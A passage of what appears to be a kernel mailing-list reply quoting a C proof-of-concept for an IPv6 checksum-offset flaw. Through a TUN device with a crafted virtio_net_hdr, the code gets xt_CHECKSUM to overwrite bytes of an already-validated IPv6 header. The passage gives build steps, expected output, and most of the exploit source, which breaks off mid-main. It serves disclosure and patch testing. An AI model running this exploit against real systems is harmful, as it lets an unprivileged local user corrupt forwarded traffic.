>
>
> Here is the reproducer inline in plain text (single C file, ~810
> lines, self-contained; builds standalone, no external dependencies).
>
> What it does (full walk-through in report.txt from the earlier bundle):
>
>   - builds the topology purely with netlink inside a fresh netns: tun0
>     (IFF_TUN | IFF_NO_PI | IFF_VNET_HDR, TUNSETVNETLE) with
>     fd00:a::1/64, a veth pair v0/v1 with fd00:c::/64 on v0, a permanent
>     neighbour fd00:c::1 @ 52:54:de:ad:be:ef, forwarding=1;
>   - installs the sink: ip6tables-legacy -t mangle -A POSTROUTING
>     -o v0 -j CHECKSUM --checksum-fill  (checksum_tg(), NFPROTO_IPV6,
>     where the 6785011f8b16 guard is v4-family-only);
>   - injects a 1464-byte non-GSO IPv6 packet (Routing-ext-hdr +
>     payload) through the tun device carrying a virtio_net_hdr
>     NEEDS_CSUM whose csum_start points into the IPv6 fixed header
>     (evil) or beyond it (control), then captures what the host EMITS
>     on the veth with an AF_PACKET tap and compares the destination
>     address against the admission-validated value; the written 16-bit
>     value is precomputed in userspace (csum_fold over
>     [csum_start, skb->len)) so the match is byte-exact or nothing.
>
> Build (attachment poc/build_vm.sh automates the initramfs VM variant;
> PID-1 mode mounts /proc and insmods tun/veth/x_tables itself, argv
> mode works from an unprivileged user namespace):
>     gcc -O2 -Wall -static -DPOC_MODE_CTRL -o init_ctrl
> poc_ipv6_csum_start.c
>     gcc -O2 -Wall -static -DPOC_MODE_EVIL -o init_evil
> poc_ipv6_csum_start.c
>
> Expected verbatim output (both full runs are in logs/run-*.log):
>
>   control (csum_start=64):
>     [*] expected deferred write value at hdr byte 64: 0x7051 (mutates
> daddr[0..1] -> 70:51)
>     [*] injected 1464B v6 frame: csum_start=64 csum_offset=16
> (beyond-v6-header geometry, invariant-safe control)
>     [*] emitted frame #1 len=1478 daddr intact: fd:00:00:0c hop_limit=63
>     [+] control OK: 1 frames, headers intact
>         Ip6OutForwDatagrams             1
>
>   evil (csum_start=24):
>     [*] expected deferred write value at hdr byte 24: 0x4a32 (mutates
> daddr[0..1] -> 4a:32)
>     [*] seeded permanent neighbor for mutated dst 4a32:c::1
>     [*] injected 1464B v6 frame: csum_start=24 csum_offset=0
> (INSIDE-IPv6-HEADER geometry, violates accepted IPv6 invariant)
>     [!] MUTATED OUTPUT FRAME #1: daddr bits now 4a:32:00:0c
> (wire-validated value was fd00:c::= 0c:0c:0c:0c); written 16-bit=4a32
> len=1478
>     [+] BUG CONFIRMED: csum_start=24 < sizeof(struct ipv6hdr)=40: deferred
> skb_checksum_help() rewrote the previously VALIDATED IPv6 header in an
> EMITTED packet.
>         Ip6OutForwDatagrams             1
>
> For validating [PATCH net-next v2 4/7] per my offer: nothing else is
> needed; apply your series to a bootable tree and run this same binary
> with the sysctl net.core.virtio_net_hdr_csum_check forced 1 and 0 --
> resolution should move to ingress (rx_csum_sw counter climbs, the
> emitted frame carries the resolved checksum), and with the knob off
> the sink-side mutation should reappear unchanged (which is what my two
> sink-side patches guard).  I will post both run logs when v3 lands.
>
> ------------------------------- 8< ----------------------------------
> // SPDX-License-Identifier: GPL-2.0
> /*
>  * poc_ipv6_csum_start.c - Reproducer for the unguarded deferred
>  * skb_checksum_help() write on IPv6: commit 6785011f8b16
>  * ("ipv4: validate checksum_start before completing checksum") seals the
>  * IPv4 sinks only; the IPv6 sinks below still call skb_checksum_help()
>  * without validating skb->csum_start against the IPv6 fixed header.
>  *
>  * Attack class: deferred checksum-metadata trust inversion
>  *
>  *   local unprivileged user (unprivileged userns, or root in an initramfs
> VM)
>  *   -> attacker-crafted virtio_net_hdr (TUN + IFF_VNET_HDR: the same
>  *      __virtio_net_hdr_to_skb() trust boundary a KVM guest drives, no
> KVM)
>  *   -> admission gap: for NEEDS_CSUM / non-GSO the only header-relative
> rule
>  *      is skb_transport_offset() >= 20 (IPv4 minimum, sizeof(iphdr)).
>  *      csum_start in [20,40) i.e. INSIDE the already-validated IPv6 fixed
>  *      header is accepted:
>  *          skb->csum_start < skb->network_header + sizeof(struct ipv6hdr)
>  *   -> validated-forwaded packet reaches an *unguarded IPv6
>  *      skb_checksum_help() sink*; the PoC activates xt_CHECKSUM
>  *      (ip6t_CHECKSUM) at POSTROUTING, where checksum_tg() guards the
>  *      v4 family only:
>  *            if (xt_family(par) == NFPROTO_IPV4 &&
> ip_check_csum_start(skb))
>  *                    return NF_DROP;      <-- IPv6 falls through UNGUARDED
>  *            skb_checksum_help(skb);      <-- 16-bit write at
> csum_start+off
>  *      (net/ipv6/ip6_output.c:946 ip6_fragment() and the OVS/queue sinks
>  *       listed in report.txt share the same missing invariant check.)
>  *
>  * The written 16-bit value is csum_fold(sum over [csum_start..end)) of an
>  * attacker-chosen packet => attacker-deterministic corrupted header bytes.
>  *
>  * Runs:
>  *   ./init ctrl : csum_start=64 (past the v6 header): headers intact
>  *   ./init evil : csum_start=24 (inside the v6 header): daddr mutated
>  *
>  * Modes: as PID 1 in an initramfs VM (rdinit=/init) the PoC mknods /dev,
>  *        mounts /proc, insmods tun.ko/veth.ko, then is fully
> netlink-driven.
>  *        Otherwise it unshares user+net+mount and needs /dev/net/tun plus
>  *        root (or userns procfs) privileges to set up the same topology.
>  *
>  * Build: gcc -O2 -Wall -static -o init poc_ipv6_csum_start.c
>  * Run:   ./init evil
>  */
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> #include <errno.h>
> #include <fcntl.h>
> #include <poll.h>
> #include <sched.h>
> #include <time.h>
> #include <stdarg.h>
> #include <sys/stat.h>
> #include <sys/mount.h>
> #include <sys/reboot.h>
> #include <sys/socket.h>
> #include <sys/ioctl.h>
> #include <sys/sysmacros.h>
> #include <sys/wait.h>
> #include <linux/reboot.h>
> #include <sys/syscall.h>
> #include <net/if.h>
> #include <linux/if_tun.h>
> #include <linux/if_packet.h>
> #include <linux/veth.h>
> #include <linux/rtnetlink.h>
> #include <arpa/inet.h>
>
> #define DIE(...) do { fprintf(stderr, "[-] FATAL @%d: ", __LINE__); \
>      fprintf(stderr, __VA_ARGS__); fprintf(stderr, ": %s\n", \
>      errno ? strerror(errno) : "?"); exit(1); } while (0)
>
> /* geometry knobs */
> static int g_csum_start = 24, g_csum_offset = 0;
>
> #if defined(POC_MODE_CTRL)
> static int g_csum_start_ = 64, g_csum_offset_ = 16; /* beyond v6 hdr */
> #define POC_IGNORE_ARGS 1
> #elif defined(POC_MODE_EVIL)
> static int g_csum_start_ = 24, g_csum_offset_ = 0; /* inside v6 hdr */
> #define POC_IGNORE_ARGS 1
> #endif
>
> /* ---- virtio_net_hdr (10-byte legacy; numeric fields little-endian) ----
> */
> struct vnet_hdr {
> uint8_t  flags;
> uint8_t  gso_type;
> uint16_t hdr_len;
> uint16_t gso_size;
> uint16_t csum_start;
> uint16_t csum_offset;
> } __attribute__((packed));
> _Static_assert(sizeof(struct vnet_hdr) == 10, "legacy virtio_net_hdr
> size");
> #define VIRTIO_NET_HDR_F_NEEDS_CSUM 1
> #define VIRTIO_NET_HDR_GSO_NONE 0
>
> #define POC_CONTROL "ctrl"
> #define POC_EVIL "evil"
>
> static void put16(unsigned char *p, unsigned v)
> {
> p[0] = (unsigned char)(v >> 8);
> p[1] = (unsigned char)(v & 0xff);
> }
>
> /* ==================================================================== */
> /* minimal netlink (RTM_ROUTE family)                                   */
> /* ==================================================================== */
> static int nl_sock(void)
> {
> struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
> int nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
>
> if (nl < 0)
> DIE("netlink socket");
> if (bind(nl, (struct sockaddr *)&sa, sizeof sa) < 0)
> DIE("netlink bind");
> return nl;
> }
>
> static void nl_write(struct nlmsghdr *nh, size_t bufsize,
>     unsigned short type, const void *data, size_t len)
> {
> size_t pad = NLMSG_ALIGN(nh->nlmsg_len);
> struct rtattr *a = (struct rtattr *)((char *)nh + pad);
>
> if (pad + RTA_ALIGN(RTA_LENGTH(len)) > bufsize)
> DIE("nl buffer overflow type=%u", type);
> a->rta_type = type;
> a->rta_len = RTA_LENGTH(len);
> if (len)
> memcpy(RTA_DATA(a), data, len);
> nh->nlmsg_len = pad + RTA_ALIGN(a->rta_len);
> }
>
> static size_t nl_nest_open(struct nlmsghdr *nh, size_t bufsize,
>   unsigned short type)
> {
> size_t pad = NLMSG_ALIGN(nh->nlmsg_len);
>
> if (pad + sizeof(struct rtattr) > bufsize)
> DIE("nl nest overflow type=%u", type);
> struct rtattr *a = (struct rtattr *)((char *)nh + pad);
>
> a->rta_type = type;
> a->rta_len = (unsigned short)sizeof(struct rtattr);
> nh->nlmsg_len = pad + sizeof(struct rtattr);
> return pad;
> }
>
> static void nl_nest_close(struct nlmsghdr *nh, size_t start)
> {
> struct rtattr *a = (struct rtattr *)((char *)nh + start);
>
> a->rta_len = (unsigned short)(nh->nlmsg_len - start);
> }
>
> static int nl_recv_ack(int nl, const char *what, bool hardfail)
> {
> char ack[512];
> struct sockaddr_nl from;
> socklen_t fl = sizeof from;
> ssize_t r = recvfrom(nl, ack, sizeof ack, 0,
>     (struct sockaddr *)&from, &fl);
>
> if (r < 0)
> DIE("netlink recv");
> struct nlmsghdr *h = (struct nlmsghdr *)ack;
> while (NLMSG_OK(h, (unsigned)r)) {
> if (h->nlmsg_type == NLMSG_ERROR) {
> struct nlmsgerr *e = NLMSG_DATA(h);
> if (e->error == 0)
> return 0;
> fprintf(stderr, "[netlink] %s err=%d\n", what,
> e->error);
> if (hardfail) {
> errno = -e->error;
> DIE("netlink op rejected");
> }
> return e->error;
> }
> h = NLMSG_NEXT(h, r);
> }
> return 0;
> }
>
> static void nl_finish(int nl, struct nlmsghdr *nh, const char *what)
> {
> struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
>
> if (sendto(nl, nh, nh->nlmsg_len, 0,
>   (struct sockaddr *)&sa, sizeof sa) < 0)
> DIE("netlink send");
> nl_recv_ack(nl, what, true);
> }
>
> static int ifindex_of(int nl, const char *name)
> {
> unsigned char buf[8192];
> struct nlmsghdr *nh = (struct nlmsghdr *)buf;
> struct ifinfomsg *ifi;
> ssize_t r;
> int ret = -1;
> size_t nlen = strlen(name);
>
> memset(buf, 0, sizeof buf);
> nh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
> nh->nlmsg_type = RTM_GETLINK;
> nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
> ifi = NLMSG_DATA(nh);
> memset(ifi, 0, sizeof *ifi);
> ifi->ifi_family = AF_UNSPEC;
> if (sendto(nl, buf, nh->nlmsg_len, 0, NULL, 0) < 0)
> DIE("getlink send");
> while ((r = recv(nl, buf, sizeof buf, 0)) > 0) {
> struct nlmsghdr *h = (struct nlmsghdr *)buf;
>
> while (NLMSG_OK(h, (unsigned)r)) {
> if (h->nlmsg_type == NLMSG_DONE)
> goto out;
> if (h->nlmsg_type == RTM_NEWLINK) {
> struct ifinfomsg *ii = NLMSG_DATA(h);
> struct rtattr *ra = IFLA_RTA(ii);
> int rem = IFLA_PAYLOAD(h);
>
> for (; RTA_OK(ra, rem); ra = RTA_NEXT(ra, rem)) {
> if (ra->rta_type == IFLA_IFNAME &&
>    RTA_PAYLOAD(ra) == nlen + 1 &&
>    memcmp(RTA_DATA(ra), name,
>   nlen) == 0)
> ret = ii->ifi_index;
> }
> }
> h = NLMSG_NEXT(h, r);
> }
> }
> out:
> if (ret < 0)
> DIE("ifindex: %s not found", name);
> return ret;
> }
>
> static void link_up_setmtu(int nl, int idx, int mtu)
> {
> unsigned char buf[256];
> struct nlmsghdr *nh = (struct nlmsghdr *)buf;
> struct ifinfomsg *ifi;
>
> memset(buf, 0, sizeof buf);
> nh->nlmsg_type = RTM_NEWLINK;
> nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
> ifi = NLMSG_DATA(nh);
> memset(ifi, 0, sizeof *ifi);
> ifi->ifi_index = idx;
> ifi->ifi_flags = IFF_UP;
> ifi->ifi_change = IFF_UP;
> nh->nlmsg_len = NLMSG_LENGTH(sizeof *ifi);
> nl_write(nh, sizeof buf, IFLA_MTU, &mtu, 4);
> nl_finish(nl, nh, "link_up_setmtu");
> }
>
> static void hexdump(const char *tag, const void *_b, int n)
> {
> const unsigned char *b = _b;
> printf("[%s] len=%d: ", tag, n);
> for (int i = 0; i < n; i++)
> printf("%02x", b[i]);
> printf("\n");
> }
>
> static void addr_add6(int nl, int idx, const char *addr, int plen)
> {
> unsigned char buf[256];
> struct nlmsghdr *nh = (struct nlmsghdr *)buf;
> struct ifaddrmsg *ia;
> struct in6_addr a;
>
> inet_pton(AF_INET6, addr, &a);
> memset(buf, 0, sizeof buf);
> nh->nlmsg_type = RTM_NEWADDR;
> nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
> ia = NLMSG_DATA(nh);
> memset(ia, 0, sizeof *ia);
> ia->ifa_family = AF_INET6;
> ia->ifa_prefixlen = plen;
> ia->ifa_index = idx;
> ia->ifa_flags = IFA_F_NODAD;
> nh->nlmsg_len = NLMSG_LENGTH(sizeof *ia);
> nl_write(nh, sizeof buf, IFA_LOCAL, &a, 16);
> nl_write(nh, sizeof buf, IFA_ADDRESS, &a, 16);
> nl_finish(nl, nh, "addr_add6");
> }
>
> static void route_add6(int nl, const char *dst, int plen, int via_idx)
> {
> unsigned char buf[256];
> struct nlmsghdr *nh = (struct nlmsghdr *)buf;
> struct rtmsg *rt;
> struct in6_addr d;
>
> inet_pton(AF_INET6, dst, &d);
> memset(buf, 0, sizeof buf);
> nh->nlmsg_type = RTM_NEWROUTE;
> nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
> rt = NLMSG_DATA(nh);
> memset(rt, 0, sizeof *rt);
> rt->rtm_family = AF_INET6;
> rt->rtm_dst_len = plen;
> rt->rtm_table = RT_TABLE_MAIN;
> rt->rtm_protocol = RTPROT_BOOT;
> rt->rtm_scope = RT_SCOPE_LINK; /* device route */
> rt->rtm_type = RTN_UNICAST;
> nh->nlmsg_len = NLMSG_LENGTH(sizeof *rt);
> nl_write(nh, sizeof buf, RTA_DST, &d, 16);
> nl_write(nh, sizeof buf, RTA_OIF, &via_idx, 4);
> hexdump("route6-msg", nh, nh->nlmsg_len);
> {
> struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
>
> if (sendto(nl, nh, nh->nlmsg_len, 0,
>   (struct sockaddr *)&sa, sizeof sa) < 0)
> DIE("netlink send");
> if (nl_recv_ack(nl, "route6-add", false))
> fprintf(stderr, "[warn] route6 add non-fatal error\n");
> }
> }
>
> static void neigh_add6_permanent(int nl, const char *dst, int idx,
> const unsigned char *lladdr)
> {
> unsigned char buf[256];
> struct nlmsghdr *nh = (struct nlmsghdr *)buf;
> struct ndmsg *nm;
> struct in6_addr d;
>
> inet_pton(AF_INET6, dst, &d);
> memset(buf, 0, sizeof buf);
> nh->nlmsg_type = RTM_NEWNEIGH;
> nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
> nm = NLMSG_DATA(nh);
> memset(nm, 0, sizeof *nm);
> nm->ndm_family = AF_INET6;
> nm->ndm_ifindex = idx;
> nm->ndm_state = NUD_PERMANENT;
> nm->ndm_flags = 0; /* NUD_PERMANENT state implies permanent */
> nm->ndm_type = RTN_UNICAST;
> nh->nlmsg_len = NLMSG_LENGTH(sizeof *nm);
> nl_write(nh, sizeof buf, NDA_DST, &d, 16);
> nl_write(nh, sizeof buf, NDA_LLADDR, lladdr, 6);
> nl_finish(nl, nh, "neigh_add6_permanent");
> }
>
> static void create_veth_pair(int nl, const char *name, const char *peer)
> {
> unsigned char buf[1024];
> struct nlmsghdr *nh = (struct nlmsghdr *)buf;
> struct ifinfomsg *ifi;
> size_t li_s, ida_s, peer_s;
>
> memset(buf, 0, sizeof buf);
> nh->nlmsg_type = RTM_NEWLINK;
> nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK |
>  NLM_F_CREATE | NLM_F_EXCL;
> ifi = NLMSG_DATA(nh);
> memset(ifi, 0, sizeof *ifi);
> nh->nlmsg_len = NLMSG_LENGTH(sizeof *ifi);
>
> nl_write(nh, sizeof buf, IFLA_IFNAME, name, strlen(name) + 1);
>
> li_s = nl_nest_open(nh, sizeof buf, IFLA_LINKINFO);
> nl_write(nh, sizeof buf, IFLA_INFO_KIND, "veth", 5);
> ida_s = nl_nest_open(nh, sizeof buf, IFLA_INFO_DATA);
> peer_s = nl_nest_open(nh, sizeof buf, VETH_INFO_PEER);
> /* peer body starts with an all-zero ifinfomsg */
> {
> size_t pad = NLMSG_ALIGN(nh->nlmsg_len);
>
> if (pad + sizeof(struct ifinfomsg) > sizeof buf)
> DIE("peer ifinfomsg overflow");
> nh->nlmsg_len = pad + sizeof(struct ifinfomsg); /* zeros */
> }
> nl_write(nh, sizeof buf, IFLA_IFNAME, peer, strlen(peer) + 1);
> nl_nest_close(nh, peer_s);
> nl_nest_close(nh, ida_s);
> nl_nest_close(nh, li_s);
> nl_finish(nl, nh, "create_veth_pair");
> }
>
> /* ==================================================================== */
>
> static void map_id(int real)
> {
> char buf[64];
> int fd;
>
> fd = open("/proc/self/setgroups", O_WRONLY);
> if (fd >= 0) { write(fd, "deny", 4); close(fd); }
> fd = open("/proc/self/uid_map", O_WRONLY);
> if (fd < 0) DIE("uid_map");
> snprintf(buf, sizeof buf, "0 %d 1\n", real);
> if (write(fd, buf, strlen(buf)) < 0) DIE("uid_map write");
> close(fd);
> fd = open("/proc/self/gid_map", O_WRONLY);
> if (fd < 0) DIE("gid_map");
> snprintf(buf, sizeof buf, "0 %d 1\n", real);
> if (write(fd, buf, strlen(buf)) < 0) DIE("gid_map write");
> close(fd);
> }
>
> static void insmod_file(const char *path)
> {
> FILE *f = fopen(path, "rb");
> unsigned char *b;
> long n;
>
> if (!f)
> return;
> fseek(f, 0, SEEK_END);
> n = ftell(f);
> fseek(f, 0, SEEK_SET);
> if (n <= 0) { fclose(f); return; }
> b = malloc(n);
> if (!b || fread(b, 1, n, f) != (size_t)n) { free(b); fclose(f); return; }
> fclose(f);
> if (syscall(__NR_init_module, b, n, "") == 0)
> printf("[*] loaded module %s\n", path);
> else if (errno == EEXIST)
> printf("[*] module %s already loaded\n", path);
> else
> fprintf(stderr, "[warn] init_module %s: %s\n", path,
> strerror(errno));
> free(b);
> }
>
> static int tun_open(const char *name)
> {
> int fd;
> struct ifreq ifr;
> int one = 1;
>
> mkdir("/dev/net", 0755);
> if (access("/dev/net/tun", F_OK) != 0 &&
>    mknod("/dev/net/tun", S_IFCHR | 0600, makedev(10, 200)) < 0 &&
>    errno != EEXIST)
> fprintf(stderr, "[warn] mknod tun: %s\n", strerror(errno));
> insmod_file("/lib/modules/tun.ko");
>
> fd = open("/dev/net/tun", O_RDWR);
> if (fd < 0) DIE("open /dev/net/tun");
> memset(&ifr, 0, sizeof ifr);
> strncpy(ifr.ifr_name, name, IFNAMSIZ);
> ifr.ifr_flags = IFF_TUN | IFF_NO_PI | IFF_VNET_HDR;
> if (ioctl(fd, TUNSETIFF, &ifr) < 0) DIE("TUNSETIFF");
> #ifndef TUNSETVNETLE
> #define TUNSETVNETLE _IOW('T', 220, int)
> #endif
> if (ioctl(fd, TUNSETVNETLE, &one) < 0) DIE("TUNSETVNETLE");
> return fd;
> }
>
> static void sysw(const char *path, const char *val)
> {
> int fd = open(path, O_WRONLY);
>
> if (fd >= 0) {
> if (write(fd, val, strlen(val)) < 0)
> fprintf(stderr, "[warn] write %s: %s\n", path,
> strerror(errno));
> close(fd);
> } else {
> fprintf(stderr, "[warn] open %s: %s\n", path,
> strerror(errno));
> }
> }
>
> static const unsigned char nbmac[6] = {0x52, 0x54, 0xde, 0xad, 0xbe, 0xef};
>
> static unsigned short compute_fold(const unsigned char *p, int len)
> {
> uint32_t sum = 0;
>
> for (int i = 0; i + 1 < len; i += 2)
> sum += ((uint32_t)p[i] << 8) | p[i + 1];
> while (sum >> 16)
> sum = (sum & 0xffff) + (sum >> 16);
> return (unsigned short)(~sum & 0xffff);
> }
>
> static void do_poc(int tunfd, int nl, int idx_v0)
> {
> int pkfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IPV6));
> struct sockaddr_ll sll = {0};
> struct packet_mreq mreq = {0};
> int bind_all = 1;
>
> if (pkfd < 0) DIE("packet socket");
> sll.sll_family = AF_PACKET;
> sll.sll_protocol = htons(ETH_P_IPV6);
> sll.sll_ifindex = bind_all ? 0 : idx_v0; /* 0 == all devices */
> if (!bind_all && bind(pkfd, (struct sockaddr *)&sll, sizeof sll) < 0)
> DIE("bind");
> mreq.mr_ifindex = idx_v0;
> mreq.mr_type = PACKET_MR_PROMISC;
> setsockopt(pkfd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof mreq);
>
> unsigned char buf[4096];
> struct vnet_hdr *vh = (struct vnet_hdr *)buf;
> memset(vh, 0, sizeof *vh);
> vh->flags = VIRTIO_NET_HDR_F_NEEDS_CSUM;
> vh->gso_type = VIRTIO_NET_HDR_GSO_NONE;
> vh->csum_start = (uint16_t)g_csum_start;
> vh->csum_offset = (uint16_t)g_csum_offset;
>
> unsigned char *ip6 = buf + sizeof *vh;
> unsigned char *saddr = ip6 + 8;
> unsigned char *daddr = ip6 + 24;
> memset(ip6, 0, 40);
> ip6[0] = 0x60; /* version 6 */
> put16(ip6 + 4, 24 + 1400); /* payload_len */
> ip6[6] = 43; /* nexthdr: Routing */
> ip6[7] = 64; /* hop limit */
> inet_pton(AF_INET6, "fd00:a::1", saddr);
> inet_pton(AF_INET6, "fd00:c::1", daddr);
> /* routing ext header, type 2 (RPL), hdr words = 2 -> 24 bytes */
> unsigned char *rh = ip6 + 40;
> rh[0] = 43;
> rh[1] = 2;
> rh[2] = 1; /* segments_left */
> rh[3] = 2; /* type */
> inet_pton(AF_INET6, "fd00:b::1", rh + 8);
> unsigned char *pl = rh + 24;
> for (int i = 0; i < 1400; i++)
> pl[i] = (unsigned char)(i * 7 + (i >> 3));
>
> unsigned int wlen = 40 + 24 + 1400 + sizeof *vh;
>
> /* the value skb_checksum_help() will write at data+csum_start:
> * csum_fold(csum over [csum_start .. skb->len)) ?: 0xffff */
> unsigned short expfold = compute_fold(
> buf + sizeof *vh + g_csum_start, (int)(wlen - sizeof *vh - g_csum_start));
> unsigned char mutated_daddr[16];
>
> memcpy(mutated_daddr, daddr, 16);
> if (expfold == 0) {
> mutated_daddr[0] = 0xff;
> mutated_daddr[1] = 0xff; /* CSUM_MANGLED_0 */
> } else {
> mutated_daddr[0] = (unsigned char)(expfold >> 8);
> mutated_daddr[1] = (unsigned char)(expfold & 0xff);
> }
> printf("[*] expected deferred write value at hdr byte %u: "
>       "0x%04x (mutates daddr[0..1] -> %02x:%02x)\n",
>       g_csum_start, expfold,
>       mutated_daddr[0], mutated_daddr[1]);
>
> /* pre-seed the permanent neighbor for the mutated destination so the
> * kernel still transmits the (already-corrupted) frame */
> if (g_csum_start < 40) {
> char target[64];
>
> inet_ntop(AF_INET6, mutated_daddr, target, sizeof target);
> neigh_add6_permanent(nl, target, idx_v0, nbmac);
> printf("[*] seeded permanent neighbor for mutated dst %s\n",
>       target);
> }
>
> ssize_t wr = write(tunfd, buf, wlen);
> if (wr != (ssize_t)wlen)
> DIE("tun write admission: csum_start=%u errno=%d",
>    (unsigned)g_csum_start, errno);
> printf("[*] injected 1464B v6 frame: csum_start=%u csum_offset=%u "
>       "(%s geometry, %s)\n",
>       g_csum_start, g_csum_offset,
>       g_csum_start < 40 ? "INSIDE-IPv6-HEADER" : "beyond-v6-header",
>       g_csum_start < 40 ? "violates accepted IPv6 invariant" :
>   "invariant-safe control");
>
> struct pollfd pfd = { .fd = pkfd, .events = POLLIN };
> int frags = 0, mutated = 0;
> time_t deadline = time(NULL) + 4;
> unsigned char cap[3000];
>
> while (time(NULL) < deadline) {
> int ms = (int)((deadline - time(NULL)) * 1000);
> if (poll(&pfd, 1, ms) <= 0)
> break;
> struct sockaddr_ll src;
> socklen_t sl = sizeof src;
> ssize_t n = recvfrom(pkfd, cap, sizeof cap, 0,
>     (struct sockaddr *)&src, &sl);
> printf("[dbg] tap if=%d %zdB pt=%u: ", src.sll_ifindex, n,
>       src.sll_pkttype);
> for (int k = 0; k < (int)(n < 48 ? n : 48); k++)
> printf("%02x", cap[k]);
> printf("\n");
> /* our forwarded frame: full eth header, dst MAC = the
> * permanent neighbor (TX tap on v0 or peer-RX tap on v1) */
> if (n < 60 || memcmp(cap, nbmac, 6) != 0)
> continue;
> unsigned char *eh = cap + 14;
> frags++;
> if (memcmp(daddr, eh + 24, 2) != 0) {
> mutated++;
> printf("[!] MUTATED OUTPUT FRAME #%d: daddr bits now "
>       "%02x:%02x:%02x:%02x (wire-validated value was "
>       "fd00:c::= 0c:0c:0c:0c); written 16-bit=%04x "
>       "len=%zd\n",
>       frags, eh[24], eh[25], eh[26], eh[27],
>       expfold, n);
> } else {
> printf("[*] emitted frame #%d len=%zd daddr intact: "
>       "%02x:%02x:%02x:%02x hop_limit=%u\n",
>       frags, n, eh[24], eh[25], eh[26], eh[27],
>       eh[7]);
> }
> if (frags > 5)
> break;
> }
>
> if (g_csum_start < 40) {
> if (mutated) {
> printf("[+] BUG CONFIRMED: csum_start=%u < "
>       "sizeof(struct ipv6hdr)=40: deferred "
>       "skb_checksum_help() rewrote the previously "
>       "VALIDATED IPv6 header in an EMITTED packet.\n",
>       g_csum_start);
> } else {
> printf("[-] no mutation observed (%d frames)\n", frags);
> }
> } else {
> if (frags)
> printf("[+] control OK: %d frames, headers "
>       "intact\n", frags);
> else
> printf("[-] control emitted nothing\n");
> }
> {
> FILE *f = fopen("/proc/net/ipv6_route", "r");
> if (f) {
> char ln[256];
> int c = 0;
> while (fgets(ln, sizeof ln, f) && c++ < 8)
> printf("    rt: %s", ln);
> fclose(f);
> }
> }
> /* drop-count diagnostics from the netns */
> {
> FILE *f = fopen("/proc/net/snmp6", "r");
> if (f) {
> char ln[256];
> while (fgets(ln, sizeof ln, f))
> if (strstr(ln, "FragOk") || strstr(ln, "FragFail")
>    || strstr(ln, "FragCreates") ||
>    strstr(ln, "ForwDatagrams") ||
>    strstr(ln, "InNoRoutes") ||
>    strstr(ln, "OutNoRoutes"))
> printf("    %s", ln);
> fclose(f);
> }
> f = fopen("/dev/null", "r");
> (void)f;
> }
> }
>
> int main(int argc, char **argv)
> {
> int real_uid = getuid();
> int is_pid1 = (getpid() == 1);
> int userns_needed = is_pid1 ? 0 : (geteuid() != 0);
>
> #ifdef POC_IGNORE_ARGS
> g_csum_start = g_csum_start_;
> g_csum_offset = g_csum_offset_;
> (void)argv;
> #else
> if (argc > 1) {
> if (strcmp(argv[1], POC_CONTROL) == 0) {
> g_csum_start = 64;
> g_csum_offset = 16;
> } else if (strcmp(argv[1], POC_EVIL) == 0) {
> g_csum_start = 24;
> g_csum_offset = 0;
> } else {
> g_csum_start = atoi(argv[1]);
> g_csum_offset = argc > 2 ? atoi(argv[2]) : 0;
> }
> }
> #endif
>
> if (is_pid1) {
> mkdir("/proc", 0755);
> mkdir("/dev", 0755);
> mkdir("/run", 0755);
> mknod("/dev/console", S_IFCHR | 0600, makedev(5, 1));
> {
> int fc = open("/dev/console", O_RDWR);
> if (fc >= 0) {
> dup2(fc, 0);
> dup2(fc, 1);
> dup2(fc, 2);
> if (fc > 2) close(fc);
> }
> }
> setvbuf(stdout, NULL, _IONBF, 0);
> if (mount("proc", "/proc", "proc", 0, NULL) < 0)
> DIE("mount /proc (PID1)");
> insmod_file("/lib/modules/veth.ko");
> insmod_file("/lib/modules/tun.ko");
> insmod_file("/lib/modules/x_tables.ko");
> insmod_file("/lib/modules/ip6_tables.ko");
> insmod_file("/lib/modules/ip6table_mangle.ko");
> insmod_file("/lib/modules/xt_CHECKSUM.ko");
> }
>
> /* isolate traffic + give sysctl a netns-owned /proc view */
> if (userns_needed) {
> if (unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWNS) < 0)
> DIE("unshare(user+net+mount)");
> map_id(real_uid);
> } else {
> if (unshare(CLONE_NEWNET | CLONE_NEWNS) < 0)
> DIE("unshare(net+mount)");
> }
> if (mount("proc", "/proc", "proc", MS_MGC_VAL, NULL) < 0)
> DIE("mount /proc in netns");
>
> int nl = nl_sock();
>
> /* lo up */
> {
> unsigned char buf[256];
> struct nlmsghdr *nh = (struct nlmsghdr *)buf;
> struct ifinfomsg *ifi;
>
> memset(buf, 0, sizeof buf);
> nh->nlmsg_type = RTM_NEWLINK;
> nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
> ifi = NLMSG_DATA(nh);
> memset(ifi, 0, sizeof *ifi);
> ifi->ifi_index = 1;
> ifi->ifi_flags = IFF_UP; ifi->ifi_change = IFF_UP;
> nh->nlmsg_len = NLMSG_LENGTH(sizeof *ifi);
> nl_finish(nl, nh, "lo-up");
> }
>
> create_veth_pair(nl, "v0", "v1");
> int idx_v0 = ifindex_of(nl, "v0");
> int idx_v1 = ifindex_of(nl, "v1");
> link_up_setmtu(nl, idx_v0, 1500); /* any size fwd: packets head to
> xt_CHECKSUM */
> link_up_setmtu(nl, idx_v1, 1500);
>
> int tunfd = tun_open("tun0");
> int idx_tun = ifindex_of(nl, "tun0");
> link_up_setmtu(nl, idx_tun, 1500);
>
> addr_add6(nl, idx_tun, "fd00:a::1", 64);
> addr_add6(nl, idx_v1, "fd00:b::1", 64);
> route_add6(nl, "fd00:c::", 64, idx_v0);
> neigh_add6_permanent(nl, "fd00:c::1", idx_v0, nbmac);
>
